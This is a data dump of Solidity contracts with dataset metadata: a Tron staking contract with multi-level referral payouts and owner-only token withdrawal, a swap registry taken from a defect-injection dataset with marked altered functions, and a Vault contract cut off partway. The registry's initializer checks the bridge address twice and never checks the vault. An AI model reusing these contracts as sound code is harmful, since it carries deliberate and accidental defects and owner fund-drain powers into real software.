tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLiCgiucqCA9U79RCyLPRGhnDpz83NDmRH_STMStake.sol
| 4,865 | 18,867 |
//SourceUnit: stake.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
contract STMStake is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public STMToken;
address public USDT;
address public mk;
uint256 public DURATION = 30 days;
uint256 public everyStop = 360 days;
uint256 private _decimals = 6;
uint256 public initreward = 20000000 * 10 ** _decimals;
uint256 public totalReferralReward = 0;
uint256 public usdtOne = 200 * 10 ** _decimals;
uint256 public usdtFive = 500 * 10 ** _decimals;
uint256 public usdtThousand = 1000 * 10 ** _decimals;
uint256 public usdtFiveThousand = 2000 * 10 ** _decimals;
uint256 public _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => uint256) public _promote;
mapping(address => bool) public _aced;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => address) internal _parents;
mapping(address => address[]) _mychilders;
mapping(address => UserInfo) public userInfo;
event RewardAdded(uint256 reward);
event BindingParents(address indexed user, address inviter);
event Staked(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken(account);
lastUpdateTime = lastTimeRewardApplicable(account);
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
struct UserInfo {
bool one;
bool two;
bool three;
bool four;
uint256 stopTime;
}
constructor (address _STMToken, address _USDT,address _mk) {
STMToken = _STMToken;
USDT = _USDT;
mk = _mk;
rewardRate = initreward.div(DURATION);
lastUpdateTime = block.timestamp;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function promoteOf(address account) public view returns (uint256) {
return _promote[account];
}
function acedOf(address account) public view returns (bool) {
return _aced[account];
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getMyChilders(address user) public view returns (address[] memory) {
return _mychilders[user];
}
function getParent(address user) public view returns (address) {
return _parents[user];
}
function getUserKeep(address _address) public view returns (bool one, bool two, bool three, bool four, uint256 stopTime) {
UserInfo storage user = userInfo[_address];
one = user.one;
two = user.two;
three = user.three;
four = user.four;
stopTime = user.stopTime;
}
function bindParent(address parent) public returns (bool) {
require(parent != address(0), "ERROR parent");
require(parent != msg.sender, "ERROR parent");
require(_parents[parent] != address(0) || parent == owner(), 'ERROR The superior did not participate in IDO');
_parents[msg.sender] = parent;
_mychilders[parent].push(msg.sender);
emit BindingParents(msg.sender, parent);
return true;
}
function setParentByAdmin(address user, address parent) public onlyOwner returns (bool) {
require(_parents[user] == address(0), "Already bind");
_parents[user] = parent;
_mychilders[parent].push(user);
return true;
}
function setRewardRate(uint256 _init) external onlyOwner{
initreward = _init * 10 ** _decimals;
rewardRate = initreward.div(DURATION);
}
function setEveryStop(uint256 _everyStop) external onlyOwner{
everyStop = _everyStop;
}
function lastTimeRewardApplicable(address _address) public view returns (uint256) {
UserInfo storage user = userInfo[_address];
if (user.stopTime == 0) {
return block.timestamp;
} else {
uint256 stop = user.stopTime.add(everyStop);
return SafeMath.min(block.timestamp, stop);
}
}
function rewardPerToken(address _address) public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable(_address)
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e6)
.div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken(account).sub(userRewardPerTokenPaid[account]))
.div(1e6)
.add(rewards[account]);
}
function _takeInviterFee(address _address,uint256 amount) private {
uint256 tFee = amount.mul(1).div(100);
address cur = _address;
for (int256 i = 0; i < 10; i++) {
cur = _parents[cur];
if (cur == address(0)) {
break;
}
if (_aced[cur]) {
_totalSupply = _totalSupply.add(tFee);
_balances[cur] = _balances[cur].add(tFee);
_promote[cur] = _promote[cur].add(tFee);
}
}
}
function deposit(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
require(amount == usdtOne || amount == usdtFive || amount == usdtThousand || amount == usdtFiveThousand, "Cannot");
UserInfo storage user = userInfo[msg.sender];
if (amount == usdtOne && !user.one) {
user.one = true;
} else if (amount == usdtFive && !user.two) {
user.two = true;
} else if (amount == usdtThousand && !user.three) {
user.three = true;
} else if (amount == usdtFiveThousand && !user.four) {
user.four = true;
} else {
require(false, "Invalid input");
}
if (user.stopTime == 0) {
user.stopTime = block.timestamp;
}
_aced[msg.sender] = true;
_takeInviterFee(msg.sender, amount);
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
IERC20(USDT).safeTransferFrom(msg.sender, mk, amount);
}
function exit() external {
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalReferralReward = totalReferralReward.add(reward);
}
}
function safeTransfer(address _to, uint256 _amount) internal {
uint256 tokenBalance = IERC20(STMToken).balanceOf(address(this));
require(_amount <= tokenBalance, "no token");
IERC20(STMToken).transfer(_to, _amount);
}
function donateDust(address addr, uint256 amount) external onlyOwner {
TransferHelper.safeTransfer(addr, _msgSender(), amount);
}
function donateEthDust(uint256 amount) external onlyOwner {
TransferHelper.safeTransferETH(_msgSender(), amount);
}
}
| 285,136 | 13,487 |
165d615c30e31dc2b07229acb7793f603575e993a48d116cdc493fac725705bd
| 23,142 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/publicFuncToExternal/0x8af6e56cc0fdcffe5e7242b18e2ca696a7c7b0a1_publicFuncToExternal.sol
| 4,481 | 15,011 |
pragma solidity 0.5.2;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap; // solium-disable-line mixedcase
}
contract Adminable is Initializable {
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
modifier ifAdmin() {
require(msg.sender == _admin(), "sender not admin");
_;
}
function admin() public view returns (address) { //inject PUBLIC FUNC TO EXTERNAL
return _admin();
}
function implementation() public view returns (address impl) { //inject PUBLIC FUNC TO EXTERNAL
bytes32 slot = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
assembly {
impl := sload(slot)
}
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
}
contract Bridge is Adminable {
struct Period {
uint32 height; // the height of last block in period
uint32 timestamp; // the block.timestamp at submission of period
uint32 parentBlockNumber; // the block.number at submission of period
bytes32 parentBlockHash; // the blockhash(block.number -1) at submission of period
}
address public operator; // the operator contract
mapping(bytes32 => Period) public periods;
}
contract Vault {
function getTokenAddr(uint16 _color) public view returns (address) {
}
}
contract SwapExchange {
address factory;
address token;
address nativeToken;
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function setup(address _nativeToken, address _tokenAddr) public {
require(factory == address(0) && token == address(0), "setup can only be executed once");
require(_nativeToken != address(0), "tokenAddr not valid");
require(_tokenAddr != address(0), "tokenAddr not valid");
factory = msg.sender;
token = _tokenAddr;
nativeToken = _nativeToken;
name = 0x4c65617020537761702056310000000000000000000000000000000000000000; // Leap Swap V1
symbol = 0x4c4541502d563100000000000000000000000000000000000000000000000000; // LEAP-V1
decimals = 18;
}
// to be implemented
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SwapRegistryMigration is Adminable {
using SafeMath for uint256;
// Claim Related
Bridge bridge;
Vault vault;
uint256 constant maxTax = 1000; // 100%
uint256 taxRate; // as perMil (1000 == 100%, 1 == 0.1%)
uint256 constant inflationFactor = 10 ** 15;
uint256 constant maxInflation = 2637549827; // the x from (1 + x*10^-18)^(30 * 24 * 363) = 2
uint256 inflationRate; // between 0 and maxInflation/inflationFactor
uint256 constant poaSupplyTarget = 7000000 * 10 ** 18;
uint256 poaReward;
mapping(uint256 => uint256) public slotToHeight;
function initialize(address _bridge,
address _vault,
uint256 _poaReward) public initializer {
require(_bridge != address(0), "invalid bridge address");
bridge = Bridge(_bridge);
require(_bridge != address(0), "invalid vault address");
vault = Vault(_vault);
// todo: check that this contract is admin of token;
taxRate = maxTax;
inflationRate = maxInflation;
poaReward = _poaReward;
}
function claim(uint256 _slotId,
bytes32[] memory _consensusRoots,
bytes32[] memory _cas,
bytes32[] memory _validatorData,
bytes32[] memory _rest) public {
uint256 maxHeight = slotToHeight[_slotId];
uint32 claimCount = 0;
for (uint256 i = 0; i < _consensusRoots.length; i += 1) {
require(_slotId == uint256(_validatorData[i] >> 160), "unexpected slotId");
require(msg.sender == address(uint160(uint256(_validatorData[i]))), "unexpected claimant");
uint256 height;
bytes32 left = _validatorData[i];
bytes32 right = _rest[i];
assembly {
mstore(0, left)
mstore(0x20, right)
right := keccak256(0, 0x40)
}
left = _cas[i];
assembly {
mstore(0, left)
mstore(0x20, right)
right := keccak256(0, 0x40)
}
left = _consensusRoots[i];
assembly {
mstore(0, left)
mstore(0x20, right)
right := keccak256(0, 0x40)
}
(height ,,,) = bridge.periods(right);
require(height > maxHeight, "unorderly claim");
maxHeight = height;
claimCount += 1;
}
slotToHeight[_slotId] = maxHeight;
ERC20Mintable token = ERC20Mintable(vault.getTokenAddr(0));
uint256 total = token.totalSupply();
uint256 staked = token.balanceOf(bridge.operator());
// calculate reward according to:
// https://ethresear.ch/t/riss-reflexive-inflation-through-staked-supply/3633
uint256 reward = total.mul(inflationRate).div(inflationFactor);
if (staked > total.div(2)) {
reward = reward.mul(total.sub(staked).mul(staked).mul(4)).div(total);
}
if (total < poaSupplyTarget) {
reward = poaReward;
}
reward = reward.mul(claimCount);
uint256 tax = reward.mul(taxRate).div(maxTax); // taxRate perMil (1000 == 100%, 1 == 0.1%)
// mint tokens
token.mint(msg.sender, reward.sub(tax));
token.mint(bridge.admin(), tax);
}
// Governance Params
function getTaxRate() public view returns(uint256) {
return taxRate;
}
function setTaxRate(uint256 _taxRate) public ifAdmin {
require(_taxRate <= maxTax, "tax rate can not be more than 100%");
taxRate = _taxRate;
}
function getInflationRate() public view returns(uint256) {
return inflationRate;
}
function setInflationRate(uint256 _inflationRate) public ifAdmin {
require(_inflationRate < maxInflation, "inflation too high");
inflationRate = _inflationRate;
}
// Swap Exchanges
event NewExchange(address indexed token, address indexed exchange);
mapping(address => address) tokenToExchange;
mapping(address => address) exchangeToToken;
address exchangeCodeAddr;
function createExchange(address _token) public returns (address) {
require(_token != address(0), "invalid token address");
address nativeToken = vault.getTokenAddr(0);
require(_token != nativeToken, "token can not be nativeToken");
require(tokenToExchange[_token] == address(0), "exchange already created");
address exchange = createClone(exchangeCodeAddr);
SwapExchange(exchange).setup(nativeToken, _token);
tokenToExchange[_token] = exchange;
exchangeToToken[exchange] = _token;
emit NewExchange(_token, exchange);
return exchange;
}
function getExchangeCodeAddr() public view returns(address) {
return exchangeCodeAddr;
}
function setExchangeCodeAddr(address _exchangeCodeAddr) public ifAdmin {
exchangeCodeAddr = _exchangeCodeAddr;
}
function getExchange(address _token) public view returns(address) {
return tokenToExchange[_token];
}
function getToken(address _exchange) public view returns(address) {
return exchangeToToken[_exchange];
}
function createClone(address target) internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
modifier onlyMultisig() {
require(msg.sender == 0xC5cDcD5470AEf35fC33BDDff3f8eCeC027F95B1d, "msg.sender not multisig");
_;
}
function transferMinter() public onlyMultisig {
ERC20Mintable token = ERC20Mintable(vault.getTokenAddr(0));
token.addMinter(msg.sender);
token.renounceMinter();
}
}
| 278,931 | 13,488 |
62ae032340d87173f9e0c7f3115f07817f911d20735ef4e2b2b55b45efd0c08a
| 12,678 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/64/645BBA7d4d23C5f72cF7E51aAF68A9e79bBCC6e8_Vault.sol
| 3,631 | 12,098 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Vault is Ownable {
using SafeMath for uint256;
struct Stake {
uint256 stakeCycle;
uint256 lastClaimCycle;
uint256 unstakeCycle;
uint256 amount;
uint256 totalRewards;
}
IERC20 public PLAYMATES;
IERC20 public PAYMENT_TOKEN;
address public POOL;
address public TREASURY;
address public MARKETING;
string public baseUri;
mapping(uint256 => uint256) public totalStaked;
mapping(uint256 => uint256) public payouts;
mapping(address => Stake) public stakers;
mapping(address => mapping (uint256 => uint256)) public amountStaked;
// mapping(address => Stake) public stakersLength;
// mapping(address => mapping (uint256 => Stake)) public stakers;
uint256 public firstCycleDate;
uint256 public cycleDuration = 864000;
uint256 public minStake = 1;
uint256 public maxStake = 2000;
uint256 public stakeFee = 500;
uint256[] public unstakeFees = [7500, 5000, 4000, 3000, 2000, 1000];
uint256 public unstakeFeesLength = 6;
uint256[] public stakeDistribution = [5000, 5000];
uint256[] public unstakeDistribution = [5000, 3000, 1000, 1000];
event Staked(address indexed _from, uint256 amount);
event Claimed(address indexed _from, uint256 amount);
event Unstaked(address indexed _from, uint256 amount);
constructor(address _PLAYMATES, address _PAYMENT_TOKEN, address _POOL, address _TREASURY, address _MARKETING, string memory _baseUri) {
PLAYMATES = IERC20(_PLAYMATES);
PAYMENT_TOKEN = IERC20(_PAYMENT_TOKEN);
POOL = _POOL;
TREASURY = _TREASURY;
MARKETING = _MARKETING;
baseUri = _baseUri;
firstCycleDate = block.timestamp;
}
// VIEW FUNCTIONS
function currentCycle() public view returns (uint256) {
return (block.timestamp - firstCycleDate) / cycleDuration + 1;
}
function getAllRewardsOf(address user) public view returns (uint256) {
//require(currentCycle() > stakers[user].stakeCycle, "CLAIM1: You have no share to claim.");
require(currentCycle() > stakers[user].lastClaimCycle, "CLAIM2: You have no share to claim.");
require(stakers[user].lastClaimCycle >= stakers[user].stakeCycle, "CLAIM3: You have no share to claim.");
require(stakers[user].amount > 0, "CLAIM: You are not contributing to the pool.");
uint256 sum = 0;
for(uint256 i = stakers[user].lastClaimCycle; i < currentCycle(); i++) {
uint256 share = getShareOf(user, i);
sum += payouts[i].mul(share).div(10000);
}
return sum;
}
function getRewardsOf(address user, uint256 cycle) public view returns (uint256) {
// require(currentCycle() > stakers[user].stakeCycle, "CLAIM1: You have no share to claim.");
require(currentCycle() > stakers[user].lastClaimCycle, "CLAIM2: You have no share to claim.");
require(stakers[user].lastClaimCycle >= stakers[user].stakeCycle, "CLAIM3: You have no share to claim.");
require(stakers[user].amount > 0, "CLAIM: You are not contributing to the pool.");
uint256 sum = 0;
uint256 share = getShareOf(user, cycle);
sum += payouts[cycle].mul(share).div(10000);
return sum;
